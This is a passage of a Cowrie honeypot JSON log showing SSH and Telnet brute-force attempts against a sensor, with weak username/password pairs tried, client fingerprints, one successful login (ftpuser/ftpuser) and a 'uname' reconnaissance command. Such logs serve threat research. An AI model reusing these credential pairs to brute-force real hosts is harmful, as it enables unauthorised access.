{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37988,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c2a7fd878d1","protocol":"ssh","message":"New connection: 192.109.200.78:37988 (159.203.135.109:22) [session: 1c2a7fd878d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:23.841832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:23.853378Z","src_ip":"192.109.200.78","session":"1c2a7fd878d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:23.938187Z","src_ip":"192.109.200.78","session":"1c2a7fd878d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:24.205872Z","src_ip":"192.109.200.78","session":"1c2a7fd878d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45770,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bf9ed2c631c","protocol":"ssh","message":"New connection: 159.203.92.129:45770 (159.203.135.109:22) [session: 9bf9ed2c631c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:24.495014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:24.500788Z","src_ip":"159.203.92.129","session":"9bf9ed2c631c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:24.507476Z","src_ip":"159.203.92.129","session":"9bf9ed2c631c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MasterFeng","password":"123","message":"login attempt [MasterFeng/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:24.525423Z","src_ip":"159.203.92.129","session":"9bf9ed2c631c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:25.422044Z","src_ip":"192.109.200.78","session":"1c2a7fd878d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:25.533692Z","src_ip":"159.203.92.129","session":"9bf9ed2c631c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54100,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4b8bb771107","protocol":"ssh","message":"New connection: 176.65.139.95:54100 (159.203.135.109:22) [session: d4b8bb771107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:27.719682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:27.724984Z","src_ip":"176.65.139.95","session":"d4b8bb771107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:27.829858Z","src_ip":"176.65.139.95","session":"d4b8bb771107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37998,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5e22865da80","protocol":"ssh","message":"New connection: 192.109.200.78:37998 (159.203.135.109:22) [session: f5e22865da80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:27.982267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:27.986935Z","src_ip":"192.109.200.78","session":"f5e22865da80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:28.162634Z","src_ip":"192.109.200.78","session":"f5e22865da80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:28.229701Z","src_ip":"176.65.139.95","session":"d4b8bb771107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:28.518748Z","src_ip":"192.109.200.78","session":"f5e22865da80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:29.495739Z","src_ip":"176.65.139.95","session":"d4b8bb771107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:29.604314Z","src_ip":"192.109.200.78","session":"f5e22865da80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41436,"dst_ip":"159.203.135.109","dst_port":22,"session":"341810419642","protocol":"ssh","message":"New connection: 192.109.200.78:41436 (159.203.135.109:22) [session: 341810419642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:32.394210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:32.398317Z","src_ip":"192.109.200.78","session":"341810419642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:32.480464Z","src_ip":"192.109.200.78","session":"341810419642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:32.730568Z","src_ip":"192.109.200.78","session":"341810419642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":32866,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8c008c00527","protocol":"telnet","message":"New connection: 194.247.164.234:32866 (159.203.135.109:23) [session: a8c008c00527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:32.994532Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:33.819313Z","src_ip":"192.109.200.78","session":"341810419642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46290,"dst_ip":"159.203.135.109","dst_port":22,"session":"b90939db28df","protocol":"ssh","message":"New connection: 176.65.139.95:46290 (159.203.135.109:22) [session: b90939db28df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:34.658722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:34.663182Z","src_ip":"176.65.139.95","session":"b90939db28df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:34.750013Z","src_ip":"176.65.139.95","session":"b90939db28df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:35.110895Z","src_ip":"176.65.139.95","session":"b90939db28df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":33856,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7c3a0400e5f","protocol":"telnet","message":"New connection: 194.247.164.234:33856 (159.203.135.109:23) [session: a7c3a0400e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:36.016579Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:36.260425Z","src_ip":"176.65.139.95","session":"b90939db28df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":33972,"dst_ip":"159.203.135.109","dst_port":23,"session":"55e0d9cddeac","protocol":"telnet","message":"New connection: 194.247.164.234:33972 (159.203.135.109:23) [session: 55e0d9cddeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:36.457406Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41448,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d0ac83ca252","protocol":"ssh","message":"New connection: 192.109.200.78:41448 (159.203.135.109:22) [session: 8d0ac83ca252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:36.600368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:36.606018Z","src_ip":"192.109.200.78","session":"8d0ac83ca252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:36.690046Z","src_ip":"192.109.200.78","session":"8d0ac83ca252","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:36.937806Z","src_ip":"192.109.200.78","session":"8d0ac83ca252","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:37.166317Z","src_ip":"192.109.200.78","session":"8d0ac83ca252","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:37.170628Z","src_ip":"192.109.200.78","session":"8d0ac83ca252","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:37.256933Z","src_ip":"192.109.200.78","session":"8d0ac83ca252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:37.262986Z","src_ip":"192.109.200.78","session":"8d0ac83ca252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":34880,"dst_ip":"159.203.135.109","dst_port":23,"session":"069e8bf8a17d","protocol":"telnet","message":"New connection: 194.247.164.234:34880 (159.203.135.109:23) [session: 069e8bf8a17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:38.995164Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36852,"dst_ip":"159.203.135.109","dst_port":22,"session":"c22bd53a5594","protocol":"ssh","message":"New connection: 192.109.200.78:36852 (159.203.135.109:22) [session: c22bd53a5594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:40.740497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:40.745055Z","src_ip":"192.109.200.78","session":"c22bd53a5594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp2